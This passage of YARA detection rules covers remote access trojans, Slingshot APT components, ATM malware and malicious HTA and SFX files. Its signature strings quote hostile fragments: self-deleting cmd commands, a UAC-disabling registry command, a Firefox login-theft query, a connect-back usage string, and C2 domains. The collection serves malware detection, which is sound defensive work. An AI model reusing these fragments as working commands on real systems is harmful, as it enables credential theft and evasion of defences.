		id = "2a19c0de-0078-5487-869c-1bcabea57300"

	strings:
		$a = "Miner: Failed to Inject." wide
		$b = "Started GPU Mining on:" wide
		$c = "BK: Hard Bot Killer Ran Successfully!" wide
		$d = "Uploaded Keylogs Successfully!" wide
		$e = "No Slowloris Attack is Running!" wide
		$f = "An ARME Attack is Already Running on" wide
		$g = "Proactive Bot Killer Enabled!" wide
		$h = "PlasmaRAT" wide ascii
		$i = "AntiEverything" wide ascii

	condition:
		all of them
}

rule RAT_PoisonIvy
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects PoisonIvy RAT"
		reference = "http://malwareconfig.com/stats/PoisonIvy"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "371686d3-878f-56fc-a702-ec49845f486b"

	strings:
		$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
		$string1 = "CONNECT %s:%i HTTP/1.0"
		$string2 = "ws2_32"
		$string3 = "cks=u"
		$string4 = "thj@h"
		$string5 = "advpack"

	condition:
		$stub at 0x1620 and all of ( $string* ) or ( all of them )
}

rule RAT_PredatorPain
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects PredatorPain RAT"
		reference = "http://malwareconfig.com/stats/PredatorPain"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "c6670179-871d-5a57-983b-d77354e2ede9"

	strings:
		$string1 = "holderwb.txt" wide
		$string3 = "There is a file attached to this email" wide
		$string4 = "screens\\screenshot" wide
		$string5 = "Disablelogger" wide
		$string6 = "\\pidloc.txt" wide
		$string7 = "clearie" wide
		$string8 = "clearff" wide
		$string9 = "emails should be sent to you shortly" wide
		$string10 = "jagex_cache\\regPin" wide
		$string11 = "open=Sys.exe" wide
		$ver1 = "PredatorLogger" wide
		$ver2 = "EncryptedCredentials" wide
		$ver3 = "Predator Pain" wide

	condition:
		7 of ( $string* ) and any of ( $ver* )
}

rule RAT_Punisher
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Punisher RAT"
		reference = "http://malwareconfig.com/stats/Punisher"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "1e16b3c7-9656-5570-afa2-542367aa14d8"

	strings:
		$a = "abccba"
		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
		$d = "SpyTheSpy" wide ascii
		$e = "wireshark" wide
		$f = "apateDNS" wide
		$g = "abccbaDanabccb"

	condition:
		all of them
}

rule RAT_PythoRAT
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Python RAT"
		reference = "http://malwareconfig.com/stats/PythoRAT"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "fc98c513-1abf-5331-b351-f6182e5b19c5"

	strings:
		$a = "TKeylogger"
		$b = "uFileTransfer"
		$c = "TTDownload"
		$d = "SETTINGS"
		$e = "Unknown" wide
		$f = "#@#@#"
		$g = "PluginData"
		$i = "OnPluginMessage"

	condition:
		all of them
}

rule RAT_QRat
{
	meta:
		author = "Kevin Breen @KevTheHermit"
		date = "01.08.2015"
		description = "Detects QRAT"
		reference = "http://malwareconfig.com"
		maltype = "Remote Access Trojan"
		filetype = "jar"
		id = "2ee645a3-1e01-513c-a636-098e445adeca"

	strings:
		$a0 = "e-data"
		$a1 = "quaverse/crypter"
		$a2 = "Qrypt.class"
		$a3 = "Jarizer.class"
		$a4 = "URLConnection.class"

	condition:
		4 of them
}

rule RAT_Sakula
{
	meta:
		date = "2015-10-13"
		description = "Detects Sakula v1.0 RAT"
		author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings"
		reference = "http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara"
		id = "4be3179c-3b91-56db-bba9-9ccc42066f96"

	strings:
		$s1 = "%d_of_%d_for_%s_on_%s"
		$s2 = "/c ping 127.0.0.1 & del /q \"%s\""
		$s3 = "=%s&type=%d"
		$s4 = "?photoid="
		$s5 = "iexplorer"
		$s6 = "net start \"%s\""
		$s7 = "cmd.exe /c rundll32 \"%s\""
		$v1_1 = "MicroPlayerUpdate.exe"
		$v1_2 = "CCPUpdate"
		$v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
		$v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
		$serial01 = { 31 06 2e 48 3e 01 06 b1 8c 98 2f 00 53 18 5c 36 }
		$serial02 = { 01 a5 d9 59 95 19 b1 ba fc fa d0 e8 0b 6d 67 35 }
		$serial03 = { 47 d5 d5 37 2b cb 15 62 b4 c9 f4 c2 bd f1 35 87 }
		$serial04 = { 3a c1 0e 68 f1 ce 51 9e 84 dd cd 28 b1 1f a5 42 }
		$opcodes1 = { 89 FF 55 89 E5 83 EC 20 A1 ?? ?? ?? 00 83 F8 00 }
		$opcodes2 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
		$opcodes3 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
		$opcodes4 = { 30 14 38 8D 0C 38 40 FE C2 3B C6 }
		$opcodes5 = { 30 14 39 8D 04 39 41 FE C2 3B CE }
		$fp1 = "Symantec Corporation" ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and ( ( 3 of ( $s* ) and any of ( $v1_* ) ) or ( any of ( $serial0* ) ) or ( any of ( $opcodes* ) ) ) and not 1 of ( $fp* )
}

rule RAT_ShadowTech : FILE
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects ShadowTech RAT"
		reference = "http://malwareconfig.com/stats/ShadowTech"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "1fb15030-b400-5e70-b183-81e2527d5556"

	strings:
		$a = "ShadowTech" nocase
		$b = "DownloadContainer"
		$c = "MySettings"
		$d = "System.Configuration"
		$newline = "#-@NewLine@-#" wide
		$split = "pSIL" wide
		$key = "ESIL" wide

	condition:
		4 of them
}

rule RAT_SmallNet
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects SmallNet RAT"
		reference = "http://malwareconfig.com/stats/SmallNet"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "aec1f8fd-2806-527e-9d50-422f212864de"

	strings:
		$split1 = "!!<3SAFIA<3!!"
		$split2 = "!!ElMattadorDz!!"
		$a1 = "stub_2.Properties"
		$a2 = "stub.exe" wide
		$a3 = "get_CurrentDomain"

	condition:
		($split1 or $split2 ) and ( all of ( $a* ) )
}

rule RAT_SpyGate
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects SpyGate RAT"
		reference = "http://malwareconfig.com/stats/SpyGate"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "ed015770-81ff-5d9c-8bd0-3c225e400724"

	strings:
		$split = "abccba"
		$a1 = "abccbaSpyGateRATabccba"
		$a2 = "StubX.pdb"
		$a3 = "abccbaDanabccb"
		$b1 = "monikerString" nocase
		$b2 = "virustotal1"
		$b3 = "get_CurrentDomain"
		$c1 = "shutdowncomputer" wide
		$c2 = "shutdown -r -t 00" wide
		$c3 = "set cdaudio door closed" wide
		$c4 = "FileManagerSplit" wide
		$c5 = "Chating With >> [~Hacker~]" wide

	condition:
		( all of ( $a* ) and #split > 40 ) or ( all of ( $b* ) and #split > 10 ) or ( all of ( $c* ) )
}

rule RAT_Sub7Nation
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
		date = "01.04.2014"
		description = "Detects Sub7Nation RAT"
		reference = "http://malwareconfig.com/stats/Sub7Nation"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "4f41d649-4a90-566b-bda8-0a288380aeaa"

	strings:
		$a = "EnableLUA /t REG_DWORD /d 0 /f"
		$i = "HostSettings"
		$verSpecific1 = "sevane.tmp"
		$verSpecific2 = "cmd_.bat"
		$verSpecific3 = "a2b7c3d7e4"
		$verSpecific4 = "cmd.dll"

	condition:
		all of them
}

rule RAT_Vertex
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Vertex RAT"
		reference = "http://malwareconfig.com/stats/Vertex"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "f6f5967e-6b88-5d95-8fe1-a286ee8ce64c"

	strings:
		$string1 = "DEFPATH"
		$string2 = "HKNAME"
		$string3 = "HPORT"
		$string4 = "INSTALL"
		$string5 = "IPATH"
		$string6 = "MUTEX"
		$res1 = "PANELPATH"
		$res2 = "ROOTURL"

	condition:
		all of them
}

rule RAT_VirusRat
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects VirusRAT"
		reference = "http://malwareconfig.com/stats/VirusRat"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "ef00cec9-d09b-5010-8e7d-bb391c937f34"

	strings:
		$string0 = "virustotal"
		$string1 = "virusscan"
		$string2 = "abccba"
		$string3 = "pronoip"
		$string4 = "streamWebcam"
		$string5 = "DOMAIN_PASSWORD"
		$string6 = "Stub.Form1.resources"
		$string7 = "ftp://{0}@{1}" wide
		$string8 = "SELECT * FROM moz_logins" wide
		$string9 = "SELECT * FROM moz_disabledHosts" wide
		$string10 = "DynDNS\\Updater\\config.dyndns" wide
		$string11 = "|BawaneH|" wide

	condition:
		all of them
}

rule RAT_Xtreme
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Xtreme RAT"
		reference = "http://malwareconfig.com/stats/Xtreme"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		ver = "2.9, 3.1, 3.2, 3.5"
		id = "02b7bb6a-5d1e-5379-b366-868680844719"

	strings:
		$a = "XTREME" wide
		$b = "ServerStarted" wide
		$c = "XtremeKeylogger" wide
		$d = "x.html" wide
		$e = "Xtreme RAT" wide

	condition:
		all of them
}

rule RAT_adWind
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects Adwind RAT"
		reference = "http://malwareconfig.com/stats/adWind"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "95681c07-0e9c-5688-a8a0-899617521c7b"

	strings:
		$meta = "META-INF"
		$conf = "config.xml"
		$a = "Adwind.class"
		$b = "Principal.adwind"

	condition:
		all of them
}

rule RAT_njRat
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects njRAT"
		reference = "http://malwareconfig.com/stats/njRat"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "6289b9c8-eef6-5cfb-97bd-b819158d6fdd"

	strings:
		$s1 = {7C 00 27 00 7C 00 27 00 7C}
		$s2 = "netsh firewall add allowedprogram" wide
		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$s4 = "yyyy-MM-dd" wide
		$v1 = "cmd.exe /k ping 0 & del" wide
		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide

	condition:
		all of ( $s* ) and any of ( $v* )
}

rule RAT_unrecom
{
	meta:
		author = "Kevin Breen <kevin@techanarchy.net>"
		date = "01.04.2014"
		description = "Detects unrecom RAT"
		reference = "http://malwareconfig.com/stats/unrecom"
		maltype = "Remote Access Trojan"
		filetype = "exe"
		id = "56b11c22-f43c-5192-9a0a-0ac14b0cd041"

	strings:
		$meta = "META-INF"
		$conf = "load/ID"
		$a = "load/JarMain.class"
		$b = "load/MANIFEST.MF"
		$c = "plugins/UnrecomServer.class"

	condition:
		all of them
}

rule MAL_JRAT_Oct18_1
{
	meta:
		description = "Detects JRAT malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-10-11"
		hash1 = "ce190c37a6fdb2632f4bc5ea0bb613b3fbe697d04e68e126b41910a6831d3411"
		id = "f211ef1c-8def-55f0-8817-d01ebd9c2947"

	strings:
		$x1 = "/JRat.class" ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 700KB and 1 of them
}

rule Slingshot_APT_Spork_Downloader
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		id = "21e02f78-40d8-5b56-b747-3f2a7a692259"

	strings:
		$s1 = "Usage: spork -c IP:PORT" fullword ascii wide
		$s2 = "connect-back IP address and port number"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them
}

rule Slingshot_APT_Minisling
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		id = "99f9d5a1-b29f-52f7-9aec-02df4a51a756"

	strings:
		$s1 = "{6D29520B-F138-442e-B29F-A4E7140F33DE}" fullword ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them
}

rule Slingshot_APT_Ring0_Loader
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		id = "b5301a45-a4ec-5e56-a990-bc6300ee6365"

	strings:
		$s1 = " -> Missing element in DataDir -- cannot install" ascii
		$s2 = " -> Primary loader not present in the DataDir" ascii
		$s3 = "\\\\.\\amxpci" fullword ascii
		$s4 = " -> [Goad] ERROR in CreateFile:" fullword ascii
		$s5 = "\\\\.\\Sandra" fullword ascii
		$s6 = " -> [Sandra] RingZeroCode" fullword ascii
		$s7 = " -> [Sandra] Value from IOCTL_RDMSR:" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them
}

import "pe"

rule Slingshot_APT_Malware_1
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		hash1 = "4b250304e28648574b441831bf579b844e8e1fda941fb7f86a7ea7c4291bbca6"
		id = "72f4a52b-c70b-511f-acf5-6d680a95c7d6"

	strings:
		$s1 = "SlingDll.dll" fullword ascii
		$s2 = "BogusDll." ascii
		$s3 = "smsvcrt -h 0x%p" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( pe.imphash ( ) == "7ead4bb0d752003ce7c062adb7ffc51a" or pe.exports ( "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW0000" ) or 1 of them )
}

rule Slingshot_APT_Malware_2
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		hash1 = "2a51ef6d115daa648ddd57d1e4480f5a18daf40986bfde32aab19349aa010e67"
		id = "b85d3d81-0148-5ea0-9eff-d9bb63e3e75b"

	strings:
		$x1 = "\\\\?\\c:\\RECYCLER\\S-1-5-21-2225084468-623340172-1005306204-500\\INFO5" fullword wide
		$x_slingshot = {09 46 BE 57 42 DD 70 35 5E }
		$s1 = "Opening service %s for stop access failed.#" fullword wide
		$s2 = "LanMan setting <%s> is ignored because system has a higher value already." fullword wide
		$s3 = "\\DosDevices\\amxpci" wide
		$s4 = "lNTLMqSpPD" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule Slingshot_APT_Malware_3
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		hash1 = "fa513c65cded25a7992e2b0ab03c5dd5c6d0fc2282cd64a1e11a387a3341ce18"
		id = "4ef1f9a6-3d80-545e-8ac3-c6d46c71fca1"

	strings:
		$a1 = "chmhlpr.dll" fullword ascii
		$s2 = "%hc%hc%hc%hc" fullword ascii
		$s3 = "%hc%hc%hc=" fullword ascii
		$s4 = "%hc%hc==" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "2f3b3df466e24e0792e0e90d668856bc" or pe.exports ( "dll_u" ) or ( $a1 and 2 of ( $s* ) ) )
}

rule Slingshot_APT_Malware_4
{
	meta:
		description = "Detects malware from Slingshot APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/apt-slingshot/84312/"
		date = "2018-03-09"
		hash1 = "38c4f5320b03cbaf5c14997ea321507730a8c16906e5906cbf458139c91d5945"
		id = "0f957330-1834-550f-ba5d-fb2bf0dfba7f"

	strings:
		$x1 = "Ss -a 4104 -s 257092 -o 8 -l 406016 -r 4096 -z 315440" fullword wide
		$s1 = "Slingshot" fullword ascii
		$s2 = "\\\\?\\e:\\$Recycle.Bin\\" wide
		$s3 = "LineRecs.reloc" fullword ascii
		$s4 = "EXITGNG" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( $x1 or 2 of them )
}

rule ATM_Malware_Loup
{
	meta:
		description = "Detects ATM Malware Loup"
		author = "Frank Boldewin (@r3c0nst)"
		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
		date = "2020-08-17"
		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
		id = "2215a93f-d854-5f9b-b5cd-53962c45db08"

	strings:
		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii
		$String2 = "CurrencyDispenser1" ascii
		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and all of ( $String* ) and $Code
}

import "pe"

rule APT_DonotTeam_YTYframework : APT DonotTeam Windows
{
	meta:
		author = "James E.C, ProofPoint"
		description = "Modular malware framework with similarities to EHDevel"
		hashes = "1e0c1b97925e1ed90562d2c68971e038d8506b354dd6c1d2bcc252d2a48bc31c"
		reference = "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"
		reference2 = "https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/"
		date = "08-03-2018"
		id = "6dd07019-aa5a-5966-8331-b6f6758b0652"

	strings:
		$x1 = "/football/download2/" ascii wide
		$x2 = "/football/download/" ascii wide
		$x3 = "Caption: Xp>" wide
		$x_c2 = "5.135.199.0" ascii fullword
		$a1 = "getGoogle" ascii fullword
		$a2 = "/q /noretstart" wide
		$a3 = "IsInSandbox" ascii fullword
		$a4 = "syssystemnew" ascii fullword
		$a5 = "ytyinfo" ascii fullword
		$a6 = "\\ytyboth\\yty " ascii
		$s1 = "SELECT Name FROM Win32_Processor" wide
		$s2 = "SELECT Caption FROM Win32_OperatingSystem" wide
		$s3 = "SELECT SerialNumber FROM Win32_DiskDrive" wide
		$s4 = "VM: Yes" wide fullword
		$s5 = "VM: No" wide fullword
		$s6 = "helpdll.dll" ascii fullword
		$s7 = "boothelp.exe" ascii fullword
		$s8 = "SbieDll.dll" wide fullword
		$s9 = "dbghelp.dll" wide fullword
		$s10 = "YesNoMaybe" ascii fullword
		$s11 = "saveData" ascii fullword
		$s12 = "saveLogs" ascii fullword

	condition:
		uint16be( 0 ) == 0x4d5a and filesize < 500KB and ( pe.imphash ( ) == "87775285899fa860b9963b11596a2ded" or 1 of ( $x* ) or 3 of ( $a* ) or 6 of ( $s* ) )
}

rule HTA_with_WScript_Shell
{
	meta:
		description = "Detects WScript Shell in HTA"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
		date = "2017-06-21"
		score = 80
		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
		id = "2faf74b1-c19c-53f0-ad08-be9caf5640bc"

	strings:
		$s1 = "<hta:application windowstate=\"minimize\"/>"
		$s2 = "<script>var b=new ActiveXObject(\"WScript.Shell\");" ascii

	condition:
		all of them
}

rule HTA_Embedded
{
	meta:
		description = "Detects an embedded HTA file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
		date = "2017-06-21"
		score = 50
		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
		id = "04d4c718-9dd6-5528-8712-61c9f2a16139"

	strings:
		$s1 = "<hta:application windowstate=\"minimize\"/>"

	condition:
		$s1 and not $s1 in ( 0 .. 50000 )
}

rule APT6_Malware_Sample_Gen : FILE
{
	meta:
		description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
		date = "2016-04-09"
		modified = "2023-01-06"
		score = 80
		hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
		hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
		id = "142d2714-f7bf-5725-bf7e-9497be7ed234"

	strings:
		$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
		$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
		$s2 = "DUMPTHIN" fullword ascii
		$s3 = "\"C:\\WINDOWS\\system32\\" ascii
		$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
		$s5 = "/tbedrs.dll" fullword ascii
		$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
		$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
		$s8 = "/logos.gif" fullword ascii
		$s9 = "synflood" fullword ascii
		$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
		$s11 = "udpflood" fullword ascii
		$s12 = "shellcode" fullword ascii
		$s13 = "&PassWord=" fullword ascii
		$s14 = "SystemPropertiesProtection.exe" fullword ascii
		$s15 = "SystemPropertiesRemote.exe" fullword ascii
		$c1 = "jobcall.org" ascii
		$c2 = "sportsinfinite.com" ascii
		$c3 = "milsatcom.us" ascii
		$c4 = "geographicphotographer.com" ascii
		$c5 = "snowsmooth.com" ascii
		$c6 = "goodre.net" ascii
		$c7 = "gloflabs.com" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or 1 of ( $c* ) ) ) or ( 6 of them )
}

rule Groups_cpassword
{
	meta:
		description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
		date = "2015-09-08"
		score = 50
		id = "37036df9-871f-5ecd-acac-6a064d298115"

	strings:
		$s1 = / cpassword=\"[^\"]/ ascii
		$s2 = " changeLogon=" ascii
		$s3 = " description=" ascii
		$s4 = " acctDisabled=" ascii

	condition:
		uint32be( 0 ) == 0x3C3F786D and filesize < 1000KB and all of ( $s* )
}

rule MiniDionis_readerView
{
	meta:
		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
		date = "2015-07-20"
		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
		id = "dc8d4311-2a87-5c9b-95ff-52708f293f01"

	strings:
		$s1 = "%ws_out%ws" fullword wide
		$s2 = "dnlibsh" fullword ascii
		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of ( $s* ) and 1 of ( $op* )
}

rule Malicious_SFX1
{
	meta:
		description = "SFX with voicemail content"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
		date = "2015-07-20"
		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
		id = "7c29dfb0-bbed-5017-80b4-a5c44024cd70"

	strings:
		$s0 = "voicemail" ascii
		$s1 = ".exe" ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 1000KB and $s0 in ( 3 .. 80 ) and $s1 in ( 3 .. 80 )
}

rule Malicious_SFX2
{
	meta:
		description = "SFX with adobe.exe content"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
		date = "2015-07-20"
		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
		id = "ff59d638-4d82-5a14-b346-3df2154d3c34"

	strings:
		$s1 = "adobe.exe" fullword ascii
		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
		$s3 = "GETPASSWORD1" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule MiniDionis_VBS_Dropped
{
	meta:
		description = "Dropped File - 1.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
		date = "2015-07-21"
		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
		id = "f0116861-4216-504a-a39b-463e7535a2b3"

	strings:
		$s1 = "Wscript.Sleep 5000" ascii
		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
		$s4 = "If(FSO.FileExists(\"" ascii
		$s5 = "then FSO.DeleteFile(\".\\" ascii

	condition:
		filesize < 1KB and all of them and $s1 in ( 0 .. 40 )
}

rule Indetectables_RAT
{
	meta:
		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
		date = "2015-10-01"
		super_rule = 1
		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
		id = "f8322822-617c-50cf-8b64-60da3a202ca5"

	strings:
